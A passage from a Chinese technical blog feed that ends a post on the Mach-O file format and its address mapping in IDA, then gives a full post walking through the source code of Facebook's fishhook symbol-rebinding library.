<p>其中 flag 字段分为两个部分，一个是区域类型（section type），一个是区域属性（section attributes）。其中 type 是互斥的，即只能有一个类型，而 attributes 不是互斥的，可以有多个属性。如果段（segment）中的任何一个 section 拥有属性 S_ATTR_DEBUG，那么该段所有的 section 都必须拥有这个属性。具体的flag字段内容以及意义请参考 <code>/usr/include/mach-o/loader.h</code>。</p>
<p>段名为大写，节名为小写。各节的作用主要有：</p>
<p>__text:　主程序代码<br>__stub_helper:　用于动态链接的存根<br>__symbolstub1:　用于动态链接的存根<br>__objc_methname:　Objective-C 的方法名<br>__objc_classname:　Objective-C 的类名<br>__cstring:　硬编码的字符串</p>
<p>__lazy_symbol:　懒加载，延迟加载节，通过 dyld_stub_binder 辅助链接<br>_got:　存储引用符号的实际地址，类似于动态符号表<br>__nl_symbol_ptr:　非延迟加载节<br>__mod_init_func:　初始化的全局函数地址，在 main 之前被调用<br>__mod_term_func:　结束函数地址<br>__cfstring:　Core Foundation 用到的字符串（OC字符串）</p>
<p>__objc_clsslist:　Objective-C 的类列表<br>__objc_nlclslist:　Objective-C 的 +load 函数列表，比 __mod_init_func 更早执行<br>__objc_const:　Objective-C 的常量<br>__data:　初始化的可变的变量<br>__bss:　未初始化的静态变量</p>
<p>查看某段中某节的命令为： <code>otool \-s __TEXT __text 可执行文件</code>。</p>
<h2 id="与-IDA-的对应地址"><a href="#与-IDA-的对应地址" class="headerlink" title="与 IDA 的对应地址"></a>与 IDA 的对应地址</h2><p>如果用 MachOView 来查看的话，界面左上角有一个 RAW、RVA 的选项。RAW 就是指该字节相对于文件开始部分的绝对偏移，文件头部的地址是从0x000开始的。RVA 是相对于某个基地址的偏移，也就是整体的绝对偏移值再加上某个基地址，文件头部的地址是从某个值（基地址）开始的。</p>
<p>这个所谓的基地址其实是 LC_SEGMENT_64(_PAGEZERO) 中的 VM_Size 字段的值，因为留出这段空白页面就是为了捕获程序的空指针，以及考虑到页面对齐。IDA 中就是使用的 RVA 地址。这个地址在 armv7 中是0x4000，arm64 中是0x10000 0000。</p>
<p><img src="/images/2017-02-21-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86-%E8%A7%A3%E8%AF%BB-Mach-O-%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F/IDA.png"></p>
<p>Section(__TEXT,__text) 所在的 RVA 地址，对应的就是 IDA 解析的函数开始地址。 IDA 解析的 Mach-O 文件中的函数都位于 Section(__TEXT) 段，然后还会接着解析 Section(__DATA) 段，即 IDA 中的数据区。</p>
<p>LC_MAIN 加载命令中的 Entry Offset 字段 + 基地址（RVA 选项下的文件头部地址） = IDA 中左侧函数 _main 的地址。</p>
<hr>
<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p>[1] mach-o格式分析 　<br><a href="http://turingh.github.io/2016/03/07/mach-o%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E5%88%86%E6%9E%90/#">http://turingh.github.io/2016/03/07/mach-o%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E5%88%86%E6%9E%90/#</a><br>[2] 趣探 Mach-O：文件格式分析　<a href="http://www.jianshu.com/p/54d842db3f69">http://www.jianshu.com/p/54d842db3f69</a><br>[3] 网易云课堂《iOS逆向与安全》</p>
]]></content>
      <categories>
        <category>基础知识</category>
      </categories>
  </entry>
  <entry>
    <title>Hook 原理之 fishhook 源码解析</title>
    <url>/80b74e12.html</url>
    <content><![CDATA[<h2 id="基础知识提要"><a href="#基础知识提要" class="headerlink" title="基础知识提要"></a>基础知识提要</h2><p>各种表在 Mach-O 文件中，是位于 Section 数据之后的一些记录数据。下面介绍本文会用到的几个表。</p>
<p>懒加载（lazy load），又叫做延迟加载。在实际需要使用该符号（或资源）的时候，该符号才会通过 dyld 中的 <code>dyld_stub_binder</code> 来进行加载。与之相对的是非懒加载（non-lazy load），这些符号在动态链接库绑定的时候，就会被加载。</p>
<a id="more"></a>

<p>在 Mach-O 中，相对应的就是 _nl_symbol_ptr（非懒加载符号表）和 _la_symbol_ptr（懒加载符号表）。这两个指针表，保存着与字符串表对应的函数指针。</p>
<p>Dynamic Symbol Table(Indirect Symbols): 动态符号表是加载动态库时导出的函数表，是符号表的 subset。动态符号表的符号 = 该符号在<strong>原所属表指针</strong>中的偏移量（offset）+ 原所属表在<strong>动态符号表</strong>中的偏移量 + 动态符号表的<strong>基地址</strong>（base）。在动态表中查找到的这个符号的值又等于该符号在 symtab 中的 offset。</p>
<p>Symbol Table（以下简称为 symtab）: 即符号表。每个目标文件都有自己的符号表，记录了符号的映射。在 Mach-O 中，符号表是由结构体 n_list 构成。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">struct</span> nlist {</div><div class="line">    <span class="keyword">union</span> {</div><div class="line"><span class="meta">#<span class="meta-keyword">ifndef</span> __LP64__</span></div><div class="line">        <span class="keyword">char</span> *n_name;    <span class="comment">/* for use when in-core */</span></div><div class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></div><div class="line">        <span class="keyword">uint32_t</span> n_strx;    <span class="comment">/* index into the string table */</span></div><div class="line">    } n_un;</div><div class="line">    <span class="keyword">uint8_t</span> n_type;        <span class="comment">/* type flag, see below */</span></div><div class="line">    <span class="keyword">uint8_t</span> n_sect;        <span class="comment">/* section number or NO_SECT */</span></div><div class="line">    <span class="keyword">int16_t</span> n_desc;        <span class="comment">/* see &lt;mach-o/stab.h&gt; */</span></div><div class="line">    <span class="keyword">uint32_t</span> n_value;    <span class="comment">/* value of this symbol (or stab offset) */</span></div><div class="line">};</div><div class="line"></div><div class="line"><span class="comment">/*</span></div><div class="line"> * This is the symbol table entry structure for 64-bit architectures.</div><div class="line"> */</div><div class="line"><span class="keyword">struct</span> nlist_64 {</div><div class="line">    <span class="keyword">union</span> {</div><div class="line">        <span class="keyword">uint32_t</span>  n_strx; <span class="comment">/* index into the string table */</span></div><div class="line">    } n_un;</div><div class="line">    <span class="keyword">uint8_t</span> n_type;        <span class="comment">/* type flag, see below */</span></div><div class="line">    <span class="keyword">uint8_t</span> n_sect;        <span class="comment">/* section number or NO_SECT */</span></div><div class="line">    <span class="keyword">uint16_t</span> n_desc;       <span class="comment">/* see &lt;mach-o/stab.h&gt; */</span></div><div class="line">    <span class="keyword">uint64_t</span> n_value;      <span class="comment">/* value of this symbol (or stab offset) */</span></div><div class="line">};</div></pre></td></tr></tbody></table>

<p>以上为 n_list 的结构。通过在动态符号表中找的偏移，再加上符号表的基址，就可以找到这个符号的 n_list，其中 n_strx 的值代表该字符串在 strtab 中的偏移量（offset）。关于 n_list 的具体结构解析详见 <a href="http://turingh.github.io/2016/05/24/nlist-Mach-O%E6%96%87%E4%BB%B6%E9%87%8D%E5%AE%9A%E5%90%91%E4%BF%A1%E6%81%AF%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E5%88%86%E6%9E%90/#">nlist-Mach-O文件重定向信息数据结构分析</a></p>
<p>String Table（以下简称为 strtab）: 是放置 Section 名、变量名、符号名的字符串表，字符串末尾自带的 \0 为分隔符（机器码00）。知道 strtab 的基地址（base），然后加上在 Symbol Table 中找到的该字符串的偏移量（offset）就可以找到这个字符串。</p>
<h2 id="fishhook-概述"><a href="#fishhook-概述" class="headerlink" title="fishhook 概述"></a>fishhook 概述</h2><p><a href="https://github.com/facebook/fishhook">fishhook</a> 是 facehook 开源的重绑定 Mach-O 符号的库，用来 hook C 语言函数（即只能重绑定 C 符号）。主要原因在于只针对 C 语言做了符号修饰。</p>
<p>基本思路为：</p>
<blockquote>
<ol>
<li>先找到 Mach-O 文件的 Load_Commands 中的 LC_SEGMENT_64(_DATA)，然后找到这条加载指令下的 Section64 Header(_nl_symbol_ptr)，以及 Section64 Header(_la_symbol_ptr)；</li>
<li>其中 Section Header 字段的 <code>reserved1</code> 的值即为该 Section 在 Dynamic Symbol Table 中的 offset。然后通过定位到该 Section 的数据，找到目标符号在 Section 中的偏移量，与之前的 offset 相加，即为在动态符号表中的偏移；</li>
<li>通过 Indirect Symbols 对应的数值，找到在 symtab 中的偏移，然后取出 n_list-&gt;n_un-&gt;n_strx 的值；</li>
<li>通过这个值找到在 strtab 中的偏移，得到该字符串，进行匹配置换。</li>
</ol>
</blockquote>
<h2 id="源码解析"><a href="#源码解析" class="headerlink" title="源码解析"></a>源码解析</h2><p>fishhook 的源文件很少，只有一个 .h 头文件和一个 .c 文件，其中 fishhook.h 文件只暴露出了两个函数接口和一个结构体。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="comment">/*</span></div><div class="line"> * A structure representing a particular intended rebinding from a symbol</div><div class="line"> * name to its replacement</div><div class="line"> */</div><div class="line"><span class="keyword">struct</span> rebinding {</div><div class="line">  <span class="keyword">const</span> <span class="keyword">char</span> *name;</div><div class="line">  <span class="keyword">void</span> *replacement;</div><div class="line">  <span class="keyword">void</span> **replaced;</div><div class="line">};</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">int</span> <span class="title">rebind_symbols</span><span class="params">(<span class="keyword">struct</span> rebinding rebindings[], <span class="keyword">size_t</span> rebindings_nel)</span></span>;</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">int</span> <span class="title">rebind_symbols_image</span><span class="params">(<span class="keyword">void</span> *header,</span></span></div><div class="line">                         <span class="keyword">intptr_t</span> slide,</div><div class="line">                         <span class="keyword">struct</span> rebinding rebindings[],</div><div class="line">                         <span class="keyword">size_t</span> rebindings_nel);</div></pre></td></tr></tbody></table>

<h3 id="rebind-symbols-函数"><a href="#rebind-symbols-函数" class="headerlink" title="rebind_symbols 函数"></a>rebind_symbols 函数</h3><p>以 ReadMe 中的示例为例，先是声明与将要被 hook 的函数签名相同的函数指针，接着自定义了替换后的函数，my_close、my_open。然后在 main 函数中调用 rebind_symbols 函数。</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">rebind_symbols((struct rebinding[<span class="number">2</span>])&#123;&#123;<span class="string">&quot;close&quot;</span>, my_close, (<span class="keyword">void</span> *)&amp;orig_close&#125;, &#123;<span class="string">&quot;open&quot;</span>, my_open, (<span class="keyword">void</span> *)&amp;orig_open&#125;&#125;, <span class="number">2</span>);</span><br></pre></td></tr></table></figure>

<p>在传递的参数中定义了一个结构体数组，传递了两个 rebinding 结构体，以及数组的个数2。</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="class"><span class="keyword">struct</span> <span class="title">rebindings_entry</span> *_<span class="title">rebindings_head</span>;</span></span><br><span class="line">......</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">rebind_symbols</span><span class="params">(struct rebinding rebindings[], <span class="keyword">size_t</span> rebindings_nel)</span> </span>&#123;</span><br><span class="line">  <span class="keyword">int</span> retval = prepend_rebindings(&amp;_rebindings_head, rebindings, rebindings_nel);</span><br><span class="line">  <span class="keyword">if</span> (retval &lt; <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> retval;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">// If this was the first call, register callback for image additions (which is also invoked for</span></span><br><span class="line">  <span class="comment">// existing images, otherwise, just run on existing images</span></span><br><span class="line">  <span class="keyword">if</span> (!_rebindings_head-&gt;next) &#123;</span><br><span class="line">    _dyld_register_func_for_add_image(_rebind_symbols_for_image);</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">uint32_t</span> c = _dyld_image_count();</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">uint32_t</span> i = <span class="number">0</span>; i &lt; c; i++) &#123;</span><br><span class="line">      _rebind_symbols_for_image(_dyld_get_image_header(i), _dyld_get_image_vmaddr_slide(i));</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> retval;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>在 rebind_symbols 函数中，首先调用了 prepend_rebindings 函数，传入了 rebindings_head 的二级指针， rebind_symbols 函数参数中的 rebindings 数组，以及数组个数。然后将这个函数的返回值作为整个函数的返回值。</p>
<p>如果这个函数返回值&gt;0，且 _rebindings_head-&gt;next 的值为空（其具体含义在 prepend_rebindings 函数中讲），则调用_dyld_register_func_for_add_image 来注册回调函数 _rebind_symbols_for_image。</p>
<p>在 dyld 加载镜像（即 image，在 Mach-O 中，所有的可执行文件、dylib、Bundle 都是 image）的时候，会执行注册过的回调函数。这一步可以使用 _dyld_register_func_for_add_image 方法来注册自定义的回调函数，传入这个 image 的 mach_header 和 slide，同时也会为所有已加载的 image 执行回调。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">extern</span> <span class="keyword">void</span> _dyld_register_func_for_add_image(  </div><div class="line">    <span class="keyword">void</span> (*func)(<span class="keyword">const</span> <span class="keyword">struct</span> mach_header* mh, <span class="keyword">intptr_t</span> vmaddr_slide)</div><div class="line">);</div></pre></td></tr></tbody></table>

<p>如果 _rebindings_head-&gt;next 的值不为空，则直接调用回调函数。</p>
<h3 id="prepend-rebindings-函数"><a href="#prepend-rebindings-函数" class="headerlink" title="prepend_rebindings 函数"></a>prepend_rebindings 函数</h3><table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">struct</span> rebindings_entry {</div><div class="line">  <span class="keyword">struct</span> rebinding *rebindings;</div><div class="line">  <span class="keyword">size_t</span> rebindings_nel;</div><div class="line">  <span class="keyword">struct</span> rebindings_entry *next;</div><div class="line">};</div><div class="line"></div><div class="line">......</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">prepend_rebindings</span><span class="params">(<span class="keyword">struct</span> rebindings_entry **rebindings_head,</span></span></div><div class="line">                              <span class="keyword">struct</span> rebinding rebindings[],</div><div class="line">                              <span class="keyword">size_t</span> nel) {</div><div class="line">  <span class="keyword">struct</span> rebindings_entry *new_entry = <span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(<span class="keyword">struct</span> rebindings_entry));</div><div class="line">  <span class="keyword">if</span> (!new_entry) {</div><div class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</div><div class="line">  }</div><div class="line">  new_entry-&gt;rebindings = <span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(<span class="keyword">struct</span> rebinding) * nel);</div><div class="line">  <span class="keyword">if</span> (!new_entry-&gt;rebindings) {</div><div class="line">    <span class="built_in">free</span>(new_entry);</div><div class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</div><div class="line">  }</div><div class="line">  <span class="built_in">memcpy</span>(new_entry-&gt;rebindings, rebindings, <span class="keyword">sizeof</span>(<span class="keyword">struct</span> rebinding) * nel);</div><div class="line">  new_entry-&gt;rebindings_nel = nel;</div><div class="line">  new_entry-&gt;next = *rebindings_head;</div><div class="line">  *rebindings_head = new_entry;</div><div class="line">  <span class="keyword">return</span> <span class="number">0</span>;</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>这里主要是一个将 rebingdings 数组拷贝到 new_entry 结构体中，并把这个结构体添加到 _rebings_head 这个链表首部的操作。首先定义一个 rebindings_entry 类型的 new_entry 结构体，并初始化，给 new_entry 以及 new_entry-&gt;rebindings 分配内存。</p>
<p>然后拷贝传入的参数数组 rebindings 到 new_entry-&gt;rebindings 中。同时给 new_entry-&gt;rebindings_nel 赋值为数组的个数，将 new_entry-&gt;next 赋值为 *rebindings_head 指针，即 _rebindings_head 内的数值。最后再使 _rebindings_head 与 new_entry 指向同一个地址。</p>
<p>这里比较容易混淆的是 rebindings_head 与 _rebindings_head。rebind_symbols 函数调用 prepend_rebindings 函数时，传入的是 <code>&amp;_rebindings_head</code>，也就是结构体指针的地址，是一个二级指针。prepend_rebindings 函数接收这个参数用的是 <code>struct rebindings_entry **rebindings_head</code>，也就是说 *rebindings_head 就是 _rebinding_head 指针。</p>
<p><img src="/images/2017-02-27-%E6%BA%90%E7%A0%81%E5%AD%A6%E4%B9%A0-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-fishhook-%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90/rebindings.gif"></p>
<p>上面的动图很容易看出，这个链表是如何形成的。回到 rebind_symbols 函数中的遗留问题，_rebindings_head-&gt;next 的值为空时，是什么意思？这意味着 rebind_symbols 函数第一次被调用，因为之后被调用，_rebindings_head-&gt;next 都指向的是前一个被添加进链表的 new_entry。也只有在第一次被调用时，才需要注册回调函数，之后都是直接调用即可。</p>
<h3 id="rebind-symbols-for-image-函数"><a href="#rebind-symbols-for-image-函数" class="headerlink" title="rebind_symbols_for_image 函数"></a>rebind_symbols_for_image 函数</h3><p>在 _rebind_symbols_for_image 中，就执行了一个调用 rebind_symbols_for_image 函数的操作。接下来是比较核心的部分了。</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">rebind_symbols_for_image</span><span class="params">(struct rebindings_entry *rebindings,</span></span></span><br><span class="line"><span class="function"><span class="params">                                     <span class="keyword">const</span> struct mach_header *header,</span></span></span><br><span class="line"><span class="function"><span class="params">                                     <span class="keyword">intptr_t</span> slide)</span> </span>&#123;</span><br><span class="line">  Dl_info info;</span><br><span class="line">  <span class="keyword">if</span> (dladdr(header, &amp;info) == <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">segment_command_t</span> *cur_seg_cmd;</span><br><span class="line">  <span class="keyword">segment_command_t</span> *linkedit_segment = <span class="literal">NULL</span>;</span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">symtab_command</span>* <span class="title">symtab_cmd</span> = <span class="title">NULL</span>;</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">dysymtab_command</span>* <span class="title">dysymtab_cmd</span> = <span class="title">NULL</span>;</span></span><br><span class="line">  <span class="keyword">uintptr_t</span> cur = (<span class="keyword">uintptr_t</span>)header + <span class="keyword">sizeof</span>(<span class="keyword">mach_header_t</span>);</span><br><span class="line">  <span class="keyword">for</span> (uint i = <span class="number">0</span>; i &lt; header-&gt;ncmds; i++, cur += cur_seg_cmd-&gt;cmdsize) &#123;</span><br><span class="line">    cur_seg_cmd = (<span class="keyword">segment_command_t</span> *)cur;</span><br><span class="line">    <span class="keyword">if</span> (cur_seg_cmd-&gt;cmd == LC_SEGMENT_ARCH_DEPENDENT) &#123;</span><br><span class="line">      <span class="keyword">if</span> (<span class="built_in">strcmp</span>(cur_seg_cmd-&gt;segname, SEG_LINKEDIT) == <span class="number">0</span>) &#123;</span><br><span class="line">        linkedit_segment = cur_seg_cmd;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (cur_seg_cmd-&gt;cmd == LC_SYMTAB) &#123;</span><br><span class="line">      symtab_cmd = (struct symtab_command*)cur_seg_cmd;</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (cur_seg_cmd-&gt;cmd == LC_DYSYMTAB) &#123;</span><br><span class="line">      dysymtab_cmd = (struct dysymtab_command*)cur_seg_cmd;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> (!symtab_cmd || !dysymtab_cmd || !linkedit_segment ||</span><br><span class="line">      !dysymtab_cmd-&gt;nindirectsyms) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">  &#125;</span><br><span class="line"><span class="comment">//接下段代码</span></span><br></pre></td></tr></table></figure>

<p>首先定义了4个会被用到的结构体指针。其中 segment_command_t 就是LC_SEGMENT_64 结构，symtab_command 是 Section Header 中 LC_SYMTAB 的结构，dysymtab_command 是 Section Header 中 LC_DYSYMTAB 的结构。（有关 Mach-O 文件的结构可以参考我之前的文章 <a href="https://harpersu00.github.io/eeb03f45.html">解读 Mach-O 文件格式</a>）</p>
<p>接下来跳过 Mach-O 的 Header 结构，开始遍历 Load Commands。通过 Header-&gt;ncmds，以及 Segment-&gt;cmdsize 来控制循环。通过遍历，找到 LC_SEGMENT_64(_LINKEDIT)，赋值给 linkedit_segment，然后给 symtab_cmd 和 dysymtab_cmd 赋值。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="comment">//接上段代码</span></div><div class="line"><span class="comment">// Find base symbol/string table addresses</span></div><div class="line">  <span class="keyword">uintptr_t</span> linkedit_base = (<span class="keyword">uintptr_t</span>)slide + linkedit_segment-&gt;vmaddr - linkedit_segment-&gt;fileoff;</div><div class="line">  <span class="keyword">nlist_t</span> *symtab = (<span class="keyword">nlist_t</span> *)(linkedit_base + symtab_cmd-&gt;symoff);</div><div class="line">  <span class="keyword">char</span> *strtab = (<span class="keyword">char</span> *)(linkedit_base + symtab_cmd-&gt;stroff);</div><div class="line"></div><div class="line">  <span class="comment">// Get indirect symbol table (array of uint32_t indices into symbol table)</span></div><div class="line">  <span class="keyword">uint32_t</span> *indirect_symtab = (<span class="keyword">uint32_t</span> *)(linkedit_base + dysymtab_cmd-&gt;indirectsymoff);</div><div class="line"><span class="comment">//接下段代码</span></div></pre></td></tr></tbody></table>

<p>通过找到的 _LINKEDIT 段和传入的参数 slide 来计算 base 地址。也就是这个 Mach-O 文件在 ASLR 偏移后的首地址（因为这里用到的这些表都是属于 _LINKEDIT 段的）。 base = vmaddr - fileoffset + slide。</p>
<p>然后 base + symtab 段的 Symbol Table Offset（该表在文件中的偏移） = symtab 的首地址（该表在内存中的偏移），base + symtab 段的 String Table Offset = strtab 的首地址。base + DYSYTAB 段的 IndSym Table Offset = 动态符号表的首地址。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="comment">//接上段代码</span></div><div class="line">cur = (<span class="keyword">uintptr_t</span>)header + <span class="keyword">sizeof</span>(<span class="keyword">mach_header_t</span>);</div><div class="line">  <span class="keyword">for</span> (uint i = <span class="number">0</span>; i &lt; header-&gt;ncmds; i++, cur += cur_seg_cmd-&gt;cmdsize) {</div><div class="line">    cur_seg_cmd = (<span class="keyword">segment_command_t</span> *)cur;</div><div class="line">    <span class="keyword">if</span> (cur_seg_cmd-&gt;cmd == LC_SEGMENT_ARCH_DEPENDENT) {</div><div class="line">      <span class="keyword">if</span> (<span class="built_in">strcmp</span>(cur_seg_cmd-&gt;segname, SEG_DATA) != <span class="number">0</span> &amp;&amp;</div><div class="line">          <span class="built_in">strcmp</span>(cur_seg_cmd-&gt;segname, SEG_DATA_CONST) != <span class="number">0</span>) {</div><div class="line">        <span class="keyword">continue</span>;</div><div class="line">      }</div><div class="line">      <span class="keyword">for</span> (uint j = <span class="number">0</span>; j &lt; cur_seg_cmd-&gt;nsects; j++) {</div><div class="line">        <span class="keyword">section_t</span> *sect =</div><div class="line">          (<span class="keyword">section_t</span> *)(cur + <span class="keyword">sizeof</span>(<span class="keyword">segment_command_t</span>)) + j;</div><div class="line">        <span class="keyword">if</span> ((sect-&gt;flags &amp; SECTION_TYPE) == S_LAZY_SYMBOL_POINTERS) {</div><div class="line">          perform_rebinding_with_section(rebindings, sect, slide, symtab, strtab, indirect_symtab);</div><div class="line">        }</div><div class="line">        <span class="keyword">if</span> ((sect-&gt;flags &amp; SECTION_TYPE) == S_NON_LAZY_SYMBOL_POINTERS) {</div><div class="line">          perform_rebinding_with_section(rebindings, sect, slide, symtab, strtab, indirect_symtab);</div><div class="line">        }</div><div class="line">      }</div><div class="line">    }</div><div class="line">  }</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>这是一个嵌套循环，外层循环依旧是遍历 Load Commands，内循环则是遍历 LC_SEGMENT_64(_DATA) 段内的 Section Header，通过 Section-&gt;flags &amp; SECTION_TYPE 来寻找 _nl_symbol_ptr 和 _la_symbol_ptr。找到后调用 perform_rebinding_with_section 函数。</p>
<blockquote>
<p>在循环内的 if 语句嵌套，一般最多用两层，太多层会显得代码冗杂，且可读性较差，容易出错。那两层以上怎么办呢？fishhook 给了我们一个很好的示范。用 if 语句作非判断，然后加上 continue 跳出本次循环。详见上面的代码。</p>
</blockquote>
<h3 id="perform-rebindin-with-section-函数"><a href="#perform-rebindin-with-section-函数" class="headerlink" title="perform_rebindin_with_section 函数"></a>perform_rebindin_with_section 函数</h3><table><tbody><tr><td class="code"><pre><div class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">perform_rebinding_with_section</span><span class="params">(<span class="keyword">struct</span> rebindings_entry *rebindings,</span></span></div><div class="line">                                           <span class="keyword">section_t</span> *section,</div><div class="line">                                           <span class="keyword">intptr_t</span> slide,</div><div class="line">                                           <span class="keyword">nlist_t</span> *symtab,</div><div class="line">                                           <span class="keyword">char</span> *strtab,</div><div class="line">                                           <span class="keyword">uint32_t</span> *indirect_symtab) {</div><div class="line">  <span class="keyword">uint32_t</span> *indirect_symbol_indices = indirect_symtab + section-&gt;reserved1;</div><div class="line">  <span class="keyword">void</span> **indirect_symbol_bindings = (<span class="keyword">void</span> **)((<span class="keyword">uintptr_t</span>)slide + section-&gt;addr);</div><div class="line">  <span class="keyword">for</span> (uint i = <span class="number">0</span>; i &lt; section-&gt;size / <span class="keyword">sizeof</span>(<span class="keyword">void</span> *); i++) {</div><div class="line">    <span class="keyword">uint32_t</span> symtab_index = indirect_symbol_indices[i];</div><div class="line">    <span class="keyword">if</span> (symtab_index == INDIRECT_SYMBOL_ABS || symtab_index == INDIRECT_SYMBOL_LOCAL ||</div><div class="line">        symtab_index == (INDIRECT_SYMBOL_LOCAL   | INDIRECT_SYMBOL_ABS)) {</div><div class="line">      <span class="keyword">continue</span>;</div><div class="line">    }</div><div class="line">    <span class="keyword">uint32_t</span> strtab_offset = symtab[symtab_index].n_un.n_strx;</div><div class="line">    <span class="keyword">char</span> *symbol_name = strtab + strtab_offset;</div><div class="line">    <span class="keyword">if</span> (strnlen(symbol_name, <span class="number">2</span>) &lt; <span class="number">2</span>) {</div><div class="line">      <span class="keyword">continue</span>;</div><div class="line">    }</div><div class="line"> <span class="keyword">struct</span> rebindings_entry *cur = rebindings;</div><div class="line">    <span class="keyword">while</span> (cur) {</div><div class="line">      <span class="keyword">for</span> (uint j = <span class="number">0</span>; j &lt; cur-&gt;rebindings_nel; j++) {</div><div class="line">        <span class="keyword">if</span> (<span class="built_in">strcmp</span>(&amp;symbol_name[<span class="number">1</span>], cur-&gt;rebindings[j].name) == <span class="number">0</span>) {</div><div class="line">          <span class="keyword">if</span> (cur-&gt;rebindings[j].replaced != <span class="literal">NULL</span> &amp;&amp;</div><div class="line">              indirect_symbol_bindings[i] != cur-&gt;rebindings[j].replacement) {</div><div class="line">            *(cur-&gt;rebindings[j].replaced) = indirect_symbol_bindings[i];</div><div class="line">          }</div><div class="line">          indirect_symbol_bindings[i] = cur-&gt;rebindings[j].replacement;</div><div class="line">          <span class="keyword">goto</span> symbol_loop;</div><div class="line">        }</div><div class="line">      }</div><div class="line">      cur = cur-&gt;next;</div><div class="line">    }</div><div class="line">  symbol_loop:;</div><div class="line">  }</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>这里需要注意的是指针的加法。比如 <code>uint32_t *indirect_symbol_indices = indirect_symtab + section-&gt;reserved1;</code> 这句代码中，三个变量均为 uint32_t 格式，即4个字节，那么 indirect_symtab 指针实际应该加上 （reserved1 的值 * 4）个字节。以 _nl_symbol_ptr 为例：</p>
<p><img src="/images/2017-02-27-%E6%BA%90%E7%A0%81%E5%AD%A6%E4%B9%A0-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-fishhook-%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90/dysymtab.png"></p>
<p>reserved1（也就是上图 MachOView 中显示的 Indirect Sym Index）为25，那么在动态符号表中 _nl_symbol_ptr 所在的首地址应该是（先不考虑 slide）： Dynamic Symbol Table 的首地址 + (reserved1 * 4) = 0x100005F30 + 0x64 = 0x100005F94。</p>
<p>slide + section-&gt;addr 为 _nl_symbol_ptr section 数据所在的地址。然后遍历 dysymtab 中从 _nl_symbol_ptr 开始的符号，取得 Symbol 数据，如果为 INDIRECT_SYMBOL_ABS(即懒加载符号指针结束的地方)等，则跳出本次循环。否则将取得的 Symbol 数据作为 symtab 中的 offset。</p>
<p><img src="/images/2017-02-27-%E6%BA%90%E7%A0%81%E5%AD%A6%E4%B9%A0-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-fishhook-%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90/symtab.png"></p>
<p>如上图所示，_dyld_stub_binder 符号（也是这个程序中的 _nl_symbol_ptr 的首个符号）在 dysymtab 中的 Symbol 数据为0xA1，那么在对应的 symtab 中，它的地址应为 symtab 首地址 + 0xA1 * 16 = 0x10005510 + 161 * 16 = 0x10005F20。(16是 n_list 结构共16个字节)</p>
<p>Symbol Table 中的 n_strx（之前提到的 n_list 结构）即为 strtab 中的 index。</p>
<p><img src="/images/2017-02-27-%E6%BA%90%E7%A0%81%E5%AD%A6%E4%B9%A0-Hook-%E5%8E%9F%E7%90%86%E4%B9%8B-fishhook-%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90/strtab.png"></p>
<p>最后就是匹配替换了。比较字符串表中的字符串与 rebindings 数组中的 name 字段，匹配成功后，将 _nl_symbol_ptr 或 _la_symbol_ptr 这两个 Section 的指针表中对应的函数指针（<code>indirect_symbol_bindings[i]</code>）赋值给 rebindings 数组中的 replaced 字段，然后用数组中的 replacement 字段（也就是自定义的 my_open 或 my_close 函数的指针）覆盖原来的函数指针。</p>
<blockquote>
<p>这里使用了 goto 来跳出双重循环，值得参考。</p>
</blockquote>
<hr>
